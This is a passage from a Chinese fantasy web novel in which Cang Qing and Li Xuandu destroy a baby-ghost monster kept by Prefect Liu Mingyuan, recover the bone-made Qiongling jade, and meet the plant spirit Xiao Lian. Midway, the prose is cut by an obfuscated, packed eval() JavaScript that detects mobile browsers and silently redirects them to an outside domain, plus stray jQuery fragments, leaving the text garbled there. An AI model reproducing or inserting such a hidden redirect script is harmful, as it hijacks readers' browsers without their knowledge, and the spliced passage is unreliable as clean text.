苍清握住李玄度持剑的手,指向刘铭远,“谁是真正的天选之子还说不准呢。”
张小巳的魂已被送走,独留下一个人头,算是断了刘铭远一运。
但眼下探囊取物与直接拿下,都未成功,还需另谋出路。
刘铭远笑道:“连老天都帮着我,尔等还能如何?”
趴在刘铭远背上的婴鬼嘻嘻笑着,化出无数分身飘在空中,不断移形换影,让人难辨真假。
笑声直刺耳膜,叫人头痛欲裂。
小鬼自显身形,所有人都能瞧见,李玄度将苍清拉至身后,双手结印,喝道:“穿林打叶!”
月魄剑凌空而立,化出无数剑影射出,打中周身数只婴鬼。
这一回没有任何失误,婴鬼分身被打散化成黑烟。
本体瞬间尖叫着躲回刘铭远身后。
与李玄度站在一处的苍清面露惊讶,“我真是天选之子?”
三人中如今只有她影响不算太大。
这点能从她在谁身边,谁就安然无恙看出来。
毕竟白榆还坐在桌边,刚有点动作,就被桌上滚落的杯盏砸了头。
刘铭远显然也觉不可思议,喃喃自语,“这……怎么可能?”
他拢在袖中的手轻动,取出一块巴掌大的物什,像块圆形玉佩,正中心有处菱形镂空,其上镶着一颗红玛瑙。
“这就是穹灵玉?”苍清不禁发问。
刘铭远自然不会回答她 ,站在房门口,轻诵出了听不懂的咒语,躲在他身后的婴鬼飘至空中,身形猛地暴涨,化作一个从未见过的庞然大物。
屋中的千工拔步床在瞬间被挤压成一堆木屑。
李玄度的反应够快,带着苍清又拉起地上的白榆跃出了房门,三人背靠而站,警惕地盯着四方。
而刘铭远早已退出屋站在院中,用看死人的眼神瞧着他们。
原本只开在角落里的穿心莲此时爬满了整个院子,连石缝里、青砖底下都不间断地冒出来,在人的脚边随风轻摆。
没人留意这疯涨的野草,注意力全在屋中那婴鬼上。
不,现在是个怪物了。
像鱼像犬又像人,犬腿鱼尾偏偏还长着人头,有鼻有眼甚至还稀稀拉拉生着毛发,但脸颊上居然又长有鱼鳃。
这算什么?鱼人犬?
它身形过大,将屋子挤得满满当当,连转身都困难,但它偏想从门里挤出来,“哗啦”一声巨响,屋门被震碎。
率人刚走进院门口的仁和县令何有为,手中举着火把,正好就瞧见这一幕。
熊熊燃烧的火把照亮了整个院子,怪物的模样清晰印进他眼中。
何有为吓得转头就跑,结果刚冲出去转眼又站在院中。
他不明所以又试了几次,但不止是他,他带来的一众官吏也无一人能走出这院子。
何有为喘着粗气,腿都在抖,手中的火把都快握不住了。
他就说不该趟这浑水,原想着仙姑有能让人死而复生的能耐,抓个凡人定不在话下。
这下可好?怕不只是仕途断送,连小命都要交代在此。
他仍未放弃,扶着身侧的官吏,脚步一点点往院门口移。
“别白费心力了,何县令。”刘铭远幽幽说道:“是你将他们带来的吧?”
他的视线扫向苍清三人,“你们都得留在这里,化作我儿果腹之食。”
苍清迎上他的目光,“可惜你遇上的是我们。”
不知何时起,她也学来了小师兄的几分狂傲气。
狠话放得再响都挡不住怪物冲出门来,朝着他们吐出一口粘液。
李玄度一招“穿林打叶”拦了回去,这滩粘液落在院中的穿心莲上,被沾上的穿心莲立刻枯败下去。
几乎是瞬间,其它的穿心莲纷纷远离了这粘液,齐齐聚拢在苍清三人的脚边。
而这粘液仿若有生命般,哪里有生气就会往哪里游动,细瞧去,粘液中还有无数蠕蠕攒动的黑色小虫。
爬过之处,所有活物只留森森白骨。
“往后退!”李玄度提醒身后官吏。
可后头是出不去的院门,前边是吐着粘液的怪物,早已无路可退。
“小师兄,你不觉得这怪物与信州的假河神很像吗?”
苍清说着话,眼却一刻都未离开过怪物与地上蠕动的粘液。
李玄度点点头,“如果没猜错,这应当也是异族。”
谁也不曾料到,藏在穹灵玉中的婴鬼竟是个怪物。
苍清在此时与他心念相通,那符箓与道术恐怕对它效果不大,得用月魄剑。
“阿榆,你去护着何县令与一众官吏。”
白榆应声撤离,踏过脚下层层叠叠的穿心莲,原本离了苍清,她应该再次倒霉,但奇的是这一回无事发生,她顺利挡在了一众官吏前。
羊皮小玉鞭损坏了,她便扯下挂在院门上的喜绸,以此做鞭,甩开纷沓而来的粘液,喜绸在她手上,犹如天降红龙穿梭于人间。
再者那怪物死盯着的也只有苍清,多数粘液都是朝着她而去,他挤出屋门,朝着苍清扑来。
李玄度站于她身侧,难免也就受到波及,好在不倒霉时,他剑术极好,杀对面不在话下。
只是离不得苍清。
原本背靠而站的二人默契地换了姿势,李玄度一手揽着苍清,另一手与她同执一剑,就如在家中梅树下做过的无数遍那般。
他带着她,亦或是她带着他。
动作整齐划一,脚尖轻点飞身而起,凌空飞旋。
“——梨花春雨!!”
瞬间无数细小的剑影如细雨,又似洁白梨花从那怪物顶上落下。
这招剑式看似轻柔,却无处不在,正如那春日绵密细雨,躲不开,行路人一不留神就被打湿了头脸。
那怪物自然也无处可避,细针入体穿膛破肚。
发出一声惨烈的叫声,缩回正常大小,从空中落下,掉在苍清脚边。
它的前爪正好挨到苍清的鞋面,也就是一瞬间的事,它的身上析出星星点点的金色光亮,美似仙尘。
苍清不由自主地朝光亮伸出了手,金光便有感知地朝她飞来,顺着她的指尖,融进她的体内。
地上的怪物随之消弭。
和在信州时如出一辙,只这一回苍清没有任何不适,只觉有股温暖的气息游走在她的经络,最终被她所吸收,化为她的能量。
李玄度见怪不怪,泰然处之,还说道:“这回竟未晕,有进步。”
白榆和其他人却是眼珠子都要瞪出来了。
尤其是刘铭远,呆愣在原处,半天没有动静,怕是如何也想不明白,战无不胜攻无不克的宝物,为何轻易就破了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15288865|162944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>一直握在手中的宝物一瞬间成了废品,脱手落在地上。
苍清不敢掉以轻心,拉着李玄度一同上前,从一片绿油油的穿心莲中摸出穹灵玉,借着火光仔细打量,这竟不是玉,而是人骨。
有了信州的经验,她问道:“这会不会是神物?”
李玄度显然同她想得不差,取出袖中的浮生卷,递给她。
穹灵玉一接触浮生卷,立时被吸纳进其中,白玉红珠的图样跃然纸上。
回过神的白榆也凑上来瞧,轻声念出其上注解,“穹灵玉,得之称心,失之如梦。”
依旧有行小字注解:万魂方成,吾心悲极,月华慰言,斯人已逝,非人哉,无须感怀。
苍清轻轻歪了下头,前言她能理解,大意不过是说,世间万物得失常事,勿执念其中。
不然便是起高台落云端,如黄粱一梦。
但她不是很能理解,小字注解之意。
万魂方成?可这神物中明明只有一个异族小鬼。
“月华”这名字也已是第二次出现。
此人是谁?
“吾”又是谁?
想不明白她就不想了,反正这与她何干?
将浮生卷还给李玄度,转头对何有为说道:“何县令,将人带走吧,后面的事,你知道该如何做。”
刘铭远虽未直接害人,但毕竟炼了养小鬼这等邪术,是非对错自有律法判之。
何有为这才回神,命人将刘知州绑了,但他绑人前竟特意喊了声,“暻殿下放心,下官定不负所托。”
明知白榆是假冒货,他还故意提一嘴,这是想将责任都推给白榆,给他自己留一条后路。
真是个老狐狸。
白榆显然不在意,只是挥了挥手,叫他赶紧将人带走。
没了增长气运的婴鬼怪物,官吏们毫不费力将将刘铭远制住,他并未反抗,也知败局已定,再无转还之力。
被众人架着往院外走去,还不到院门口,他的脚就挪不动了。
他垂头看去,无数的穿心莲枝叶绕在他脚踝处,顺着他的脚往上爬,如爬山虎般蔓延,很快就到了他的心口处,枝蔓生出无数细茎扎进了刘铭远的心脏。
苍清眼尖立时发现了不对,上前抓住枝蔓,用力一攥,将它扯离,也好在是她手快,刺得还不算深。
穿心莲在她手中奋力挣扎,奈何苍清力大,她是如何也挣不脱了。
“是你?”苍清看着手中的穿心莲,松开了手,“我并非有意伤你。”
眼前腾起一阵青烟,待青烟散尽,赫然站着个美人。
可惜美人此时正怒目圆睁地瞪着苍清,“为何阻我?!”
苍清无奈摊手,“他是朝廷命官,自有律法审判,若是死在此处,我和师兄就说不清了,何况……”
她转了个弯,“小莲你在船上杀了人,也该伏法。”
“呵。”小莲冷笑道:“我本来也未想他死,直接死了岂不便宜他?”
听此言,其中竟还有不为人知的恩怨。
小莲笑罢,看着疑惑不解的众人,“你们想知道事情原委?我便与你们讲讲我与她的故事。”
她这番清冷模样,落在苍清眼中,竟觉有些熟悉,像极了渡船上那落进海里的女子。
也正是如此,她知小莲定会说下去,她一定很想人知道她们的故事。